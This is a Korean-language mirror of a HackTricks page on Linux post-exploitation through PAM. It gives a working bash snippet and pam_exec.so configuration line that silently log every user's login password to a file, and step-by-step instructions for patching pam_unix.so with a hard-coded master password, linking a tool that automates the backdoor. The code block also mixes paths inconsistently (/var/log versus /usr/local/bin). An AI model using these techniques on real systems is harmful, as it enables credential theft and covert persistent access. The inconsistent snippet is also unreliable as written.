mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
55 lines
3.8 KiB
Markdown
55 lines
3.8 KiB
Markdown
# Linux Post-Exploitation
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## PAM을 이용한 로그인 비밀번호 스니핑
|
|
|
|
각 사용자가 로그인할 때 사용하는 비밀번호를 기록하기 위해 PAM 모듈을 구성해 보겠습니다. PAM이 무엇인지 모른다면 다음을 확인하세요:
|
|
|
|
{{#ref}}
|
|
pam-pluggable-authentication-modules.md
|
|
{{#endref}}
|
|
|
|
**자세한 내용은 [원본 게시물](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)을 확인하세요**. 이것은 요약입니다:
|
|
|
|
**기술 개요:**
|
|
플러그형 인증 모듈(PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 제공합니다. 로그인 프로세스를 사용자 정의하여 보안을 강화할 수 있지만, 잘못 사용될 경우 위험을 초래할 수 있습니다. 이 요약은 PAM을 사용하여 로그인 자격 증명을 캡처하는 기술과 완화 전략을 설명합니다.
|
|
|
|
**자격 증명 캡처:**
|
|
|
|
- `toomanysecrets.sh`라는 이름의 bash 스크립트가 로그인 시도를 기록하도록 작성되어, 날짜, 사용자 이름(`$PAM_USER`), 비밀번호(표준 입력을 통해), 원격 호스트 IP(`$PAM_RHOST`)를 `/var/log/toomanysecrets.log`에 캡처합니다.
|
|
- 이 스크립트는 실행 가능하게 만들어지고, `pam_exec.so` 모듈을 사용하여 PAM 구성(`common-auth`)에 통합되며, 조용히 실행하고 인증 토큰을 스크립트에 노출하는 옵션이 포함됩니다.
|
|
- 이 접근 방식은 손상된 Linux 호스트가 자격 증명을 은밀하게 기록하는 데 어떻게 악용될 수 있는지를 보여줍니다.
|
|
```bash
|
|
#!/bin/sh
|
|
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
|
sudo touch /var/log/toomanysecrets.sh
|
|
sudo chmod 770 /var/log/toomanysecrets.sh
|
|
sudo nano /etc/pam.d/common-auth
|
|
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
|
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
|
```
|
|
### PAM 백도어 만들기
|
|
|
|
**자세한 내용은 [원본 게시물](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)을 확인하세요**. 이것은 요약입니다:
|
|
|
|
플러그형 인증 모듈(PAM)은 리눅스에서 사용자 인증을 위해 사용되는 시스템입니다. 이는 **사용자 이름**, **비밀번호**, **서비스**라는 세 가지 주요 개념에서 작동합니다. 각 서비스의 구성 파일은 `/etc/pam.d/` 디렉토리에 위치하며, 여기서 공유 라이브러리가 인증을 처리합니다.
|
|
|
|
**목표**: 특정 비밀번호로 인증을 허용하도록 PAM을 수정하여 실제 사용자 비밀번호를 우회합니다. 이는 비밀번호 검증을 위해 거의 모든 서비스에서 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 특히 중점을 둡니다.
|
|
|
|
### `pam_unix.so` 수정 단계:
|
|
|
|
1. **`common-auth` 파일에서 인증 지시문 찾기**:
|
|
- 사용자의 비밀번호를 확인하는 책임이 있는 줄은 `pam_unix.so`를 호출합니다.
|
|
2. **소스 코드 수정**:
|
|
- 미리 정의된 비밀번호가 사용될 경우 접근을 허용하는 조건문을 `pam_unix_auth.c` 소스 파일에 추가하고, 그렇지 않으면 일반 인증 프로세스를 진행합니다.
|
|
3. **수정된 `pam_unix.so` 라이브러리 재컴파일 및 교체**:
|
|
- 적절한 디렉토리에 수정된 `pam_unix.so` 라이브러리를 재컴파일하고 교체합니다.
|
|
4. **테스트**:
|
|
- 미리 정의된 비밀번호로 다양한 서비스(로그인, ssh, sudo, su, 스크린세이버)에 접근이 허용되며, 일반 인증 프로세스는 영향을 받지 않습니다.
|
|
|
|
> [!NOTE]
|
|
> 이 프로세스를 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)로 자동화할 수 있습니다.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|